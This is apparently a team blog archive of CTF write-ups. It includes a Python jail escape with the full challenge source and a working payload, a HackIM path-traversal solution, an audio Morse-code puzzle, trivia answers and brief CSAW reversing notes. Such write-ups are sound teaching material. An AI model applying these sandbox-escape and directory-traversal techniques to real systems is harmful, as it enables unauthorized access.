Tuesday, January 28, 2014

PHD CTF Quals 2014 - yet another pyjail

For this python jail, they give us an IP to connect to as well as the source code:

import re
import sys
import string
from sys import stdout
sys.stderr = stdout


sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re


def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]


part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'


def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()
    
    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break
    
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider
        
        exec_in_context({'div': divider})

    sandbox()


if __name__ == '__main__':
    main()


This program sanitizes our code by replacing specified strings with /*ERR*/:

r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'

It also only allows the following characters to be used:

' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

It also clears the current built ins and replaces them with the "safe" variables:

True False type int

Our code is then executed with access to the divider function which calls we_must_be_sure_flag_part1_is_ready() and returns a different divider function. Divider(v2) checks if int(v1) / int(v2)  is EXPECTED, which was initialized to 13.37.

So, somehow magically we're supposed to make two 'integers' equal a float?
import black_magic

I first decided to attempt to create another object that inherits the int object.  I modified __int__ to simply return what its given.  I also modified __div__ to return the float 13.37 every time it is called.  I used type to create my new pseudo-integer class object.
def fint(self):    return self
def fdiv(self,o):    return 13.37

a = type('new_int', (int,), {'__div__': fdiv, '__int__': fint})


This allows so that when I create a new_int using an integer, a(1), performing int(new_int) will return an integer value, but still be of type new_int.  Using a float, a(1.0), would cause int(new_int) to return a float value and throw an exception. 

The jail doesn't allow me to enter the quote ( ' ) character sadly. Good thing there is a listof strings in div.func_code.co_freevars:
('d', 'h', 'i', 'n', 'o', 'r', 's', 't', 'we_must_be_sure_flag_part1_is_ready', 'we_must_be_sure_flag_part2_is_ready')
I can also get the 'v' character from div.func_name

But wait!  The plus (+) operator cannot be used AND replace(), join(), format(), and translate() cannot be used!!!

Good thing there is a ljust() function then!
The ljust function takes a given string and returns a modified string at least n wide and fills any extra characters with optionally given padding (default is space).

s = div.func_code.co_freevars
_div_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[0]).ljust(4, s[2]).ljust(5, div.func_name[2]).ljust(6, s[8][2]).ljust(7, s[8][2])
_int_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[2]).ljust(4, s[3]).ljust(5, s[7]).ljust(6, s[8][2]).ljust(7, s[8][2])

print _div_;print _int_
---
__div__
__int__

 After this it was just plug and play:

leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

def fint(self):return self
def fdiv(self,o):return 13.37
s=div.func_code.co_freevars
_div_=s[8][2].ljust(2,s[8][2]).ljust(3,s[0]).ljust(4,s[2]).ljust(5,div.func_name[2]).ljust(6,s[8][2]).ljust(7,s[8][2])
_int_=s[8][2].ljust(2,s[8][2]).ljust(3,s[2]).ljust(4,s[3]).ljust(5,s[7]).ljust(6,s[8][2]).ljust(7,s[8][2])
a=type(s[0],(int,),{_div_: fdiv,_int_:fint})
div(a(1))(a(1))

---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649


Monday, January 27, 2014

HackIM Web 500

Given the address: http://54.237.107.251/web5/index.php?page=home, find a key.

Immediately we think that it's directory traversal given the page=X in the URL. We attempt various combinations of /etc/passwd, /flag.txt, /key.txt and so on. We look around for a little while and found


on the index.php page. So we try that e.g. ?page=etc/flag and still get an error. Maybe they're checking for single forward slashes? Seems weird but we'll try to double up on the slashes


Pretty easy for a 500 point challenge considering that many people had a ton of issues with the 100 (we never finished it).

Flag: 2f0f7c516d268843341b3d2577ca744a

HackIM Misc. 300

Given an MP3 we are asked to find a key. Normally I just assume that the challenge with MP3 either has multiple tracks or that something that has hidden text.

So I took the track and drop it in Audacity:
We notice immediately that there's a second track...

So we change to spectrogram:

Scroll in...

And we have Morse code. We know that it's morse code given that the longer lines are 3x that of the shorter. So that seems pretty easy for a challenge.. What did we miss? We translate the morse code from left to right and end up with garbage.

We sit around for a little while and figure we just missed something. Maybe it's binary somehow, maybe it's some other representation. After about 15 minutes, someone notices that the actual sound-track (track 1) sounds like it could be backwards. So we read the code from right to left and we get..
.. .-.. --- ...- . --. --- .- -.-.-- -. ..- .-.. .-.. -.-. --- -. ..--- ----- .---- ....- .. ... .- .-- . ...  --- -- . -.-.-- -.-.--

Translated..


We get: ILOVEGOA?NULLCON2014ISAWESOME??
Assuming "?" are "!", we submit the key and finish the challenge.


Key: ILOVEGOA!NULLCON2014ISAWESOME!!


HackIM - Trivia [ALL]

Trivia 1:

This esoteric programming language uses AWSUM THX and O NOES as error handling?
Key: LOLCODE


Trivia 2:
What software is used to hack into ENCOM's computer system?
Key: CLU



Trivia 3: Outcome of Stealth Project to make coffee.
Key: Java


Trivia 4: Successor of the DEAD persistent object format?
Key: RMI


Trivia 5: Oheebhtuf O6700 "havavgvnyvmrq" zrzbel (48-ovg)

Turns out to be a Caesar shift of 13
Which turns out to be "Burroughs B6700 "uninitialized" memory (48-bit)"
Key: 0xBADBADBADBAD




Wednesday, September 25, 2013

CSAW 2013 Reversing 200

Reversing 200 CSAW 2013

Credit to Ryan

This challenge was fairly simple you are given a Windows PE. The first thing we did was attempt to run the executable, however as soon as you run it the program will just crash. Next we decided to open the executable in Ida Pro. 


To reverse the key we simply opened the program in the debugger and forced the program to follow the execution path we wanted (making sure to step over the debugger trap of course). From there we were able to find the key in memory and submit the flag. 



Tuesday, September 24, 2013

CSAW 2013 Reversing 100

Reversing 100 CSAW 2013

Credit to Ryan

This challenge was fairly simple you are given a Windows PE. When you run the PE it opens a box titled flag and contains garbage characters.


When opening the program in IDA pro we noticed this line right away.



The executable checks if the program is being debugged and if it is it will print the key. All we had to do from there was run the program in Ida Pro with the Local Win32 debugger to see the message box that contains the key.



CSAW 2013 Reversing 100

Reversing 100 CSAW 2013

Credit to Ryan

This challenge was fairly simple you are given a .NET executable that prompts you for a password:


To see the password check function we used .NET reflector to view the source code. The source code is as follows:


All we needed to do to get the program to print the key is to find the result of num2 ^  num3 which is 13371337255. From here we put in 13371337255 and had the program print the key.